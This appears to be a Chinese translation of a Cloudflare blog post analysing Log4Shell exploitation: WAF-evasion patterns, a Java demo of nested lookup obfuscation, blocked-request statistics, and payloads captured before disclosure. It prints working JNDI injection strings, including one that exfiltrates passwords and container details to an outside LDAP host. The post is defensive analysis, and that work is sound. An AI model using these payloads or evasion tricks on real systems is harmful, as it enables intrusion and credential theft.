在此博客帖文中,我们将介绍全球出现的 WAF 规避模式和泄露企图,有关漏洞利用企图的趋势数据,以及有关我们在 CVE-2021-44228 公开披露之前看到的漏洞利用的信息。
简而言之,我们在 12 月 1 日看到了对该漏洞的有限测试,即在公开披露之前的 8 天。我们_在公开披露后仅 9 分钟就看到了利用该漏洞的第一次尝试_,足见攻击者利用新发现的漏洞的速度有多快。
我们还发现大量企图,尝试执行简单阻止而绕过 WAF,并且企图泄露密钥凭证和密码等数据。
WAF 规避模式和泄露示例
自披露 CVE-2021-44228(现在通常称为 Log4Shell)以来,我们发现攻击者采用了许多手段,从使用简单的攻击字符串,到积极设法绕过 WAF 的阻止,不一而足。WAF 提供了阻止外部攻击者的有用工具,而攻击者往往企图规避 WAF 以绕过那些过于简单的规则。
在 Log4j 漏洞利用的最早阶段,攻击者使用通常以 ${jndi:dns
, ${jndi:rmi
和 ${jndi:ldap
开头的解除混淆的字符串以及简单的规则来查找那些有效的模式。
在这些字符串被阻止之后,攻击者迅速改用规避方法。他们曾经并且仍在使用标准规避方法(对字符转义或编码)以及针对 Log4j 查找语言量身定做的规避手段。
任何胜任其职的 WAF 都能够处理标准方法。将 ${
编码为 %24%7B
或 \u0024\u007b
之类的伎俩,早在应用规则以检查所使用的特定漏洞利用之前就可轻松逆转。
然而,Log4j 语言有一些丰富的特性,使得隐藏一些 WAF 所查找的关键字符串成为可能。例如,${lower} 查找会将字符串转变为小写。因此,${lower:H} 会变成 h。使用查找,攻击者可以伪装 jndi 之类的关键字符串,以便规避 WAF。
在真实场景中,我们发现有人使用 ${date}
、 ${lower}
、${upper}
、${web}
、${main} 和 ${env} 进行规避。此外,${env}、${sys} 和 ${main}(以及针对 Docker、Kubernetes 和其他系统的其他专门查找)被用于泄露目标进程的环境中的数据(包括关键密钥)。
要更好地理解此语言的用法,请参阅下面的小 Java 程序,它从命令行接受一个字符串,并通过 Log4j 将其记录到控制台:
这个简单的程序向控制台输出内容。这里它记录了 hide 这个词。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4jTester{
private static final Logger logger = LogManager.getLogger(log4jTester.class);
public static void main(String[] args) {
logger.error(args[0]);
}
}
Log4j 语言允许在 ${} 之内使用 ${},因而攻击者能够组合多个不同的关键字进行规避。例如,以下 ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e 会被记录为 hide 一词。这样一来,举例来说,攻击者就很容易规避对 ${jndi 的简单化搜索,因为 jndi 可以通过类似方式进行隐藏。
$ java log4jTester.java 'hide'
01:28:25.606 [main] ERROR log4jTester - hide
其他主要的规避方法利用了 :- 语法。利用该语法,攻击者可以为查找设置默认值,如果所查找的值为空,则会输出默认值。因此,举例来说,可以通过查找不存在的环境变量来输出一个词的字母。
$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide
类似方法用于 ${web}、${main} 等,以及 ${::-h} 或 ${::::::-h} 之类的字符串,后两者都会变成 h。当然,组合使用这些方法还会造成越来越复杂的规避企图。
$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}'
01:35:34.280 [main] ERROR log4jTester - hide
要感受一下规避是如何迅速运作的,请参阅下面的图表,其中显示了出现在 WAF 块(橙线)中的解除混淆的 ${jndi:、${lower} 查找(绿线)的使用、URI 编码(蓝线)的使用,以及最近流行的一种特定规避方法:${${::-j}${::-n}${::-d}${::-i}(红线)。
在开头几天,规避情况相对罕见。然而,现在,尽管 ${jndi: 之类的幼稚字符串仍然大行其道,规避情况已经大增,WAF 必须阻止这些改进的攻击。
我们上周写过漏洞利用的初始阶段,这些阶段主要是开展侦察工作。在那之后,攻击者已进展到数据提取。
我们发现 ${env} 被用于提取环境变量,${sys} 被用于获取有关 Log4j 运行的系统的信息。这是在真实场景中被阻止的一个攻击企图,该攻击企图泄露各种 Log4j 查找中的大量数据:
其中您可以看到,用户、主目录、Docker 镜像名称、Kubernetes 和 Spring 的详情、用户和数据库的密码、主机名和命令行参数都被泄露。
${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}
**由于规避和泄露手段异常复杂,WAF 供应商需要检查 ${ 的任何出现情况,并作可疑处理。**为此,我们做了进一步的工作,清理我们发送给客户的所有日志,将 ${ 转换为 x{。
Cloudflare WAF 团队一直在设法阻止企图的漏洞利用,但客户使用最新版本的 Log4j 修补其系统或应用缓解措施仍然至关重要。由于记录的数据并不一定通过互联网传输,因此系统无论联网都需要修补。
所有付费客户都有可配置的 WAF 规则,用于帮助防御 CVE-2021-44228,并且我们还为免费客户部署了保护措施。
CVE-2021-44228 漏洞利用趋势
Cloudflare 迅速实施了 WAF 规则以帮助阻止这些攻击。以下图表显示了这些被阻止的攻击是如何演变的。
从 12 月 10 日到 12 月 13 日,我们发现每分钟阻止的次数攀升,如下所示。
日期
每分钟阻止的请求数均值
2021 年 12 月 10 日
5,483
2021 年 12 月 11 日
18,606
2021 年 12 月 12 日
27,439
2021 年 12 月 13 日
24,642
在我们的初始博客帖子中,我们提到加拿大(下面的绿线)是漏洞利用企图的最大来源国。在我们做出预测之后,这种态势并未延续,现在攻击来自全世界各地,有直接来自服务器的,也有通过代理的。
披露之前的 CVE-2021-44228 漏洞利用
CVE-2021-44228 在 2021-12-09 14:25 UTC 的推文(现已删除)中披露:
但是,我们的系统在 2021 年 12 月 1 日捕获到三次漏洞利用或扫描企图。如下所示。在每一次企图中,我混淆了 IP 地址和域名。这三次企图将 ${jndi:ldap} 查找注入到 HTTP User-Agent 标头、Referer 标头和 URI 参数中。
在这三次企图之后,我们没有发现进一步的活动,直到公开披露 9 分钟之后,有人企图在一个游戏网站上通过 URI 参数注入 ${jndi:ldap} 字符串。
2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D
2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D
2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D
总结
2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}
CVE-2021-44228 被大量侵入者广泛地利用。WAF 作为帮助防止外部攻击的措施很有效,但它们并不是万无一失,攻击者也在想方设法进行规避。数据和凭证泄露的潜在可能性出奇地高,更具破坏力的入侵和攻击的长期风险非常高。
立即缓解并修补使用 Log4j 的受影响软件至关重要,切莫犹豫。